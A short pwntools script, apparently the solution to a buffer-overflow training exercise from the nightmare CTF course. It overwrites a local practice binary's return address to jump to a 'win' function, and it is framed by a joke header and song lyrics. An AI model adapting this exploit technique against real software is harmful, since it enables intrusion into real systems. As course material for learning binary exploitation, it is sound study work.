# +------------------------------------------------+
# | Atack: Bof Win Function                        |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction

from pwn import *
import time
import sf

target = process("./Correction-BofFunc-x86")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=32)

bof_payload.set_input_start(0x20)
bof_payload.set_ret(0x80491b6)
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Korn                                   |
# +------------------------------------------------+
# | Song: Kidnap The Sandy                         |
# +------------------------------------------------+
# | I've got something now,                        |
# | this one is real good, you'll see              |
# +------------------------------------------------+

